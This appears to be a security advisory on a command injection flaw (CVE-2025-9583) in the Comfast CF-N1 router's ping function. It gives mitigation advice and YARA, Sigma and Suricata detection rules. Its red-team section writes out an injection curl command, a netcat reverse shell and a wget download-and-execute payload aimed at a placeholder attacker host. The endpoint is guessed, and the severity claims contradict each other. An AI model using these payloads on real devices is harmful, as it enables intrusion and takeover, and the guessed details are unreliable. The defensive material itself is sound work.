CVE-2025-9583

Executive Summary

CVE-2025-9583 is a critical command injection vulnerability discovered in the Comfast CF-N1 router, specifically in firmware version 2.6.0. The flaw resides in the ping_config function within the /usr/bin/webmgnt binary. An unauthenticated attacker can exploit this vulnerability remotely by sending a crafted request to the device's management interface, leading to arbitrary command execution with root privileges. Given that the exploit has been publicly disclosed and no official patch is available, this vulnerability poses a significant risk to all Comfast CF-N1 devices currently in operation. The EPSS score of 0.0% indicates low exploitation activity at the time of analysis, but the public availability of the exploit increases the urgency for mitigation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability and lack of patch.

Deep Dive & Mechanics

The vulnerability is located in the ping_config function of the /usr/bin/webmgnt binary. This function is responsible for handling ICMP ping requests from the web management interface. The application fails to properly sanitize user-supplied input before passing it to a system shell command. Specifically, the ping_config function constructs a command string using user-controlled parameters (likely an IP address or hostname) and executes it via system() or a similar function without input validation or escaping.

An attacker can inject arbitrary shell commands by appending command separators (e.g., ;, |, &&) to the legitimate input. For example, sending a POST request to the vulnerable endpoint with a payload like 127.0.0.1; ls -la would execute both the ping command and the ls command.

The binary /usr/bin/webmgnt runs with root privileges, meaning any injected command will also execute with full system access. This allows an attacker to:

• Read sensitive files (e.g., /etc/shadow, configuration files).
• Modify system settings.
• Install malware or backdoors.
• Launch further attacks against internal networks.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable code and a suggested fix.

Vulnerable Code (C-like pseudocode):

void ping_config(char *user_input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 4 %s", user_input);
    system(cmd);
}

Patched Code (Suggested Fix):

#include <stdlib.h>
#include <string.h>
#include <regex.h>

int is_valid_ip_or_hostname(const char *input) {
    // Implement strict validation: only allow alphanumeric, dots, hyphens
    regex_t regex;
    int reti;
    // Simple pattern for IP or hostname (not comprehensive)
    reti = regcomp(&regex, "^[a-zA-Z0-9.-]+$", REG_EXTENDED);
    if (reti) return 0;
    reti = regexec(&regex, input, 0, NULL, 0);
    regfree(&regex);
    return !reti;
}

void ping_config(char *user_input) {
    if (!is_valid_ip_or_hostname(user_input)) {
        // Log error and reject
        return;
    }
    // Use exec family to avoid shell injection
    execl("/bin/ping", "ping", "-c", "4", user_input, (char *)NULL);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Comfast CF-N1 router with firmware 2.6.0.
• Network access to the router's web management interface (typically port 80 or 443).
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint. Based on the description, the ping_config function is likely triggered via a POST request to /cgi-bin/ping or similar.
2. Craft a payload that injects a command. Example: 127.0.0.1; id
3. Send the request using curl:

   curl -X POST http://<router-ip>/cgi-bin/ping -d "target=127.0.0.1; id"
   

4. The response will contain the output of the id command, confirming command execution.

Advanced Payloads:

• Reverse shell: 127.0.0.1; nc -e /bin/sh <attacker-ip> 4444
• Download and execute malware: 127.0.0.1; wget http://<attacker-ip>/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware

Lab Setup:

• Use a virtualized environment with a Comfast CF-N1 emulator or a real device in an isolated network.
• Attacker machine: Kali Linux or any Linux distribution with curl and netcat.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for unusual POST requests to /cgi-bin/ping or similar endpoints.
• Look for payloads containing shell metacharacters (;, |, &&, `).
• Use network intrusion detection systems (NIDS) to detect command injection patterns.

Defense:

• Immediately isolate affected devices from the network.
• Implement strict input validation on the web management interface.
• If possible, disable the web management interface or restrict access via firewall rules.
• Monitor for outbound connections from the router to unknown IPs (potential reverse shells).

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /cgi-bin/ping with payloads containing shell metacharacters.
  • Outbound connections from the router to unusual IP addresses on ports like 4444, 8080, etc.
  • DNS queries to domains associated with malware C2 servers.

• File IOCs:

  • Unexpected files in /tmp/ directory (e.g., /tmp/malware).
  • Modified system binaries or configuration files.
  • Presence of reverse shell scripts.

• Process IOCs:

  • Unusual processes running as root, such as nc, bash, or python spawned by webmgnt.

Detection Engineering

YARA Rule

rule CVE_2025_9583_Comfast_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Comfast CF-N1 ping_config"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9583"
    strings:
        $cmd_inject1 = /target=.*[;&|`$]/
        $cmd_inject2 = /ping_config.*[;&|`$]/
        $cmd_inject3 = /cgi-bin\/ping.*[;&|`$]/
    condition:
        any of them
}

Sigma Rule

title: Comfast CF-N1 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the ping endpoint with command injection payloads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9583
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/ping'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in hostnames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9583 Comfast CF-N1 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/ping"; http_uri; pcre:"/target=.*[;&|`$]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Comfast CF-N1 routers from the internet and internal networks until a patch is applied.
2. Disable remote management: If remote management is not required, disable it via the device's settings.
3. Restrict access: Use firewall rules to allow only trusted IPs to access the web management interface.

Long-term Solutions:

• Vendor patch: Contact Comfast for an official firmware update. Since no patch is available, consider replacing the device with a more secure alternative.
• Input validation: If you have access to the firmware source code, implement strict input validation as shown in the patched code section.
• Network segmentation: Place IoT devices like routers in a separate VLAN with limited access to critical systems.

Workarounds:

• Use a reverse proxy or WAF (Web Application Firewall) to filter malicious requests before they reach the router.
• Monitor logs continuously for exploitation attempts.

Valters IT